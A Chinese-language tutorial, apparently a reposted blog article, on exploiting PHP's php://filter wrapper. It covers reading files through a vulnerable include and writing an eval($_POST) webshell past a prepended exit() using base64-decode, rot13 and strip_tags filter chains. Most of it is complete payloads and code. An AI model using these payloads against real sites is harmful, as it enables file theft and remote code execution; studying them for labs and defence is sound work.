filter協議的簡單利用
php://filter是一種元封裝器, 設計用于資料流打開時的篩選過濾應用,這對于一體式(all-in-one)的檔案函式非常有用,類似 readfile()、 file() 和 file_get_contents(), 在資料流內容讀取之前沒有機會應用其他過濾器,
resource=<要過濾的資料流> 這個引數是必須的,它指定了你要篩選過濾的資料流,
read=<讀鏈的篩選串列> 該引數可選,可以設定一個或多個過濾器名稱,以管道符(|)分隔,
write=<寫鏈的篩選串列> 該引數可選,可以設定一個或多個過濾器名稱,以管道符(|)分隔,
任何沒有以 read= 或 write= 作前綴 的篩選器串列會視情況應用于讀或寫鏈,
首先給出最簡單的檔案包含的示例代碼:
<?php
$file = $_GET["file"];
include($file);
?>
在同目錄下有一個flag.php檔案:
<?php
$flag = "flag{Lxxx}";
想要讀取flag.php檔案,可以利用filter偽協議,傳參如下:
?file=php://filter/convert.base64-encode/resource=flag.php
這樣即可讀到flag.php檔案base64加密過后的內容
PD9waHANCiRmbGFnID0gImZsYWd7THh4eH0iOw0K
然而,對于filter協議,不只有這一種寫法:
?file=php://filter/read=convert.base64-encode/resource=flag.php
#這一種是指定讀鏈的篩選串列
除了使用convert.base64-encode過濾器,還可以使用其他的一些過濾器,比如字符編碼型別的,payload如下:
?file=php://filter/read=convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
得到結果:
?<hp
p$
lfga= " lfgaL{xx}x;"
將其解碼,同樣可以得到flag.php原內容
<?php
$str = "lfga= \" lfgaL{xx}x;\"";
echo iconv('UCS-2BE', 'UCS-2LE', $str);
?>
得到結果:
flag = "flag{Lxxx}";
其他有關PHP支持的字符編碼官方檔案如下:PHP: 支持的字符編碼 - Manual
filter協議的進階利用
利用filter偽協議繞過死亡之die、死亡之exit
假設我們有以下代碼:
<?php
$content = $_POST['content'];
file_put_contents($_GET['filename'], "<?php exit; ?>".$content);
這幾行代碼允許我們寫入檔案,但是當我們寫入檔案的時候會在我們寫的字串前添加exit的命令,這樣導致我們即使寫入了一句話木馬,依然是執行不了一句話的,
分析這幾行代碼,一共需要我們傳兩個引數,一個是POST請求的content,另一個是GET請求的filename,而對于GET請求中的filename變數,我們是可以通過php://filter偽協議來控制的,在前面有提到,最常見的方法是使用base64的方法將content解碼后傳入,
base64編碼繞過:
假設我們先隨便傳入一句話木馬:
?filename=php://filter/convert.base64-decode/resource=1.php
POSTDATA: content=PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+
這個時候我們打開1.php檔案:

可以發現里面是一堆亂碼,原因是不僅我們的加密后的一句話木馬進行了base64解碼,而且前面的死亡之exit也進行了解碼,
我們仔細分析一下死亡之exit的代碼:
<?php exit; ?>
base64編碼中只包含64個可列印字符,而當PHP在解碼base64時,遇到不在其中的字符時,會選擇跳過這些字符,將有效的字符重新組成字串進行解碼,
例如:
<?php
$str = "THh4eA==";
echo base64_decode($str);
?>
得到結果:Lxxx
如果我們在str變數中添加一些不可見的字符或者是不可解碼字符(\x00,?)
<?php
$str = "TH?h4eA==";
echo base64_decode($str);
?>
得到的結果仍然為:Lxxx
因此,對于死亡之exit中的代碼,字符<、?、;、>、空格等字符不符合base64解碼范圍,最終解碼符合要求的只有phpexit這7個字符,而base64在解碼的時候,是4個位元組一組,因此還少一個,所以我們將這一個手動添加上去,
傳payload如下:
?filename=php://filter/convert.base64-decode/resource=1.php
POSTDATA: content=aPD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+
content中第一個字符a就是我們添加的
這個時候我們查看1.php的內容如下:

可以看到一句話木馬已經成功寫入了,
rot13編碼繞過:
除了使用base64編碼繞過,我們還可以使用rot13編碼繞過,相比base64編碼,rot13的繞過死亡之exit更加方便,因為不用考慮前面添加的內容是否可以用base64解碼,也不需要計算可base64解碼的字符數量,
同樣的還是上面的示例代碼:
<?php
$content = $_POST['content'];
file_put_contents($_GET['filename'], "<?php exit; ?>".$content);
傳payload:
?filename=php://filter/string.rot13/resource=1.php
POSTDATA: content=<?cuc riny($_CBFG[1]);?>
打開1.php檔案:

可以看到,一句話木馬也成功寫入了,
雖然rot13更加的方便,但是還是有缺點,就是當服務器開啟了短標簽決議,一句話木馬即使寫入了,也不會被PHP決議,
多種過濾器繞過:
再仔細觀察死亡之exit的代碼:
<?php exit; ?>
可以看到死亡之exit的代碼其實本質上是XML標簽,因此我們可以使用strip_tags函式除去該XML標簽
并且,filter協議允許我們使用多種過濾器,所以我們還是針對上面的實體代碼:
<?php
$content = $_POST['content'];
file_put_contents($_GET['filename'], "<?php exit; ?>".$content);
傳payload如下:
?filename=php://filter/string.strip_tags|convert.base64-decode/resource=1.php
POSTDATA: content=PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+
查看1.php

這時候可以看到一句話木馬干干凈凈地在1.php檔案中,不摻雜任何雜質????
參考資料
https://www.leavesongs.com/PENETRATION/php-filter-magic.html
https://xz.aliyun.com/t/8163
實操推薦
PHP安全特性之偽協議:http://mrw.so/5C72Uq
通過該實驗了解php中的偽協議的應用及攻擊手段研究

戳“閱讀原文”體驗免費靶場!
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/299468.html
標籤:其他
上一篇:干貨:教你如何在家接入公司局域網
